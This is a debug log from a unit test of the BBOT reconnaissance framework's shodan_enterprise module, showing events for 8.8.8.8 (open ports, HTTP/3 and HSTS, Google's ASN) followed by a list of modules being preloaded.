'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 08:53:10,303 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 08:53:10,304 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 08:53:10,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 08:53:10,305 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 08:53:10,306 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 08:53:10,308 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 08:53:10,308 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 08:53:10,309 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 08:53:10,309 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 08:53:10,309 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-02 08:53:10,310 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-02 08:53:10,310 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-02 08:53:10,310 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 08:53:10,310 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 08:53:10,415 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 08:53:10,416 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 08:53:10,416 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 08:53:10,416 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-02 08:53:10,417 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 08:53:10,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 08:53:10,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,419 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-03-02 08:53:10,419 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-03-02 08:53:10,419 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,419 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target -2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-03-02 08:53:10,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,423 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-03-02 08:53:10,424 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,424 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,424 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 08:53:10,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,425 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-02 08:53:10,425 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-03-02 08:53:10,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-03-02 08:53:10,425 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-03-02 08:53:10,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-03-02 08:53:10,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,427 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) in-scope because its main host matches the scan target -2026-03-02 08:53:10,427 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-03-02 08:53:10,428 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded -2026-03-02 08:53:10,428 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,428 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,428 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-03-02 08:53:10,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-02 08:53:10,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 08:53:10,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-03-02 08:53:10,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-03-02 08:53:10,430 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,430 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-02 08:53:10,431 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 08:53:10,431 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-03-02 08:53:10,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 08:53:10,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 08:53:10,432 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 08:53:10,432 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-02 08:53:10,433 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-03-02 08:53:10,433 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-03-02 08:53:10,433 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-03-02 08:53:10,433 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) because precheck succeeded -2026-03-02 08:53:10,434 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-02 08:53:10,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 08:53:10,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 08:53:10,434 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-02 08:53:10,518 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-02 08:53:10,518 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,519 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise -2026-03-02 08:53:10,519 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-03-02 08:53:10,520 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-02 08:53:10,520 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,520 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-02 08:53:10,521 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 08:53:10,521 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) from shodan_enterprise -2026-03-02 08:53:10,521 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-03-02 08:53:10,522 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-02 08:53:10,522 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-02 08:53:10,522 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 08:53:10,523 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 08:53:10,523 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 08:53:10,523 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 08:53:10,523 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 08:53:10,524 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 08:53:10,524 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 08:53:10,524 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 08:53:10,624 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 08:53:10,625 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 08:53:10,633 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 08:53:10,634 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 08:53:10,634 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 08:53:10,642 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 08:53:10,643 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 08:53:10,643 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 08:53:10,644 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 08:53:10,644 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 08:53:10,645 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 08:53:10,714 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_mme5eu3wjs completed in 0 seconds with status FINISHED -2026-03-02 08:53:10,714 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 08:53:10,715 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 08:53:10,716 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-03-02 08:53:10,716 [CRITICAL] bbot test_module_shodan_enterprise.py:69 TCP ports: ['8.8.8.8:53', '8.8.8.8:443'], UDP ports: ['8.8.8.8:53'] -2026-03-02 08:53:10,716 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {} -2026-03-02 09:01:53,751 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 09:01:53,760 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-02 09:01:53,761 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 09:01:53,762 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 09:01:53,763 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 09:01:53,763 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 09:01:53,764 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 09:01:53,765 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 09:01:53,766 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 09:01:53,767 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 09:01:53,770 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 09:01:53,770 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 09:01:53,772 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 09:01:53,772 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 09:01:53,773 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 09:01:53,774 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 09:01:53,775 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 09:01:53,775 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 09:01:53,776 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 09:01:53,776 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 09:01:53,777 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-02 09:01:53,777 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-02 09:01:53,777 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 09:01:53,778 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-02 09:01:53,778 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 09:01:53,779 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-02 09:01:53,779 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-02 09:01:53,780 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-02 09:01:53,780 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-02 09:01:53,780 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-02 09:01:53,781 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-02 09:01:53,781 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-02 09:01:53,782 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-02 09:01:53,782 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-02 09:01:53,782 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-02 09:01:53,783 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-02 09:01:53,785 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-02 09:01:53,785 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-02 09:01:53,786 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-02 09:01:53,786 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-02 09:01:53,787 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-02 09:01:53,787 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-02 09:01:53,787 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-02 09:01:53,788 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-02 09:01:53,788 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-02 09:01:53,789 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-02 09:01:53,789 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-02 09:01:53,790 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-02 09:01:53,790 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-02 09:01:53,790 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-02 09:01:53,791 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-02 09:01:53,791 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-02 09:01:53,792 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-02 09:01:53,792 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-02 09:01:53,792 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-02 09:01:53,793 